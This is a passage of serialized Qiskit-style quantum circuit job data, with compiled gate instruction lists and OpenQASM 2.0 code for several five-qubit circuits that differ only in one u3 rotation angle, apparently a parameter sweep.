q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1281', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.800000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1283', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1285', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1287', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) 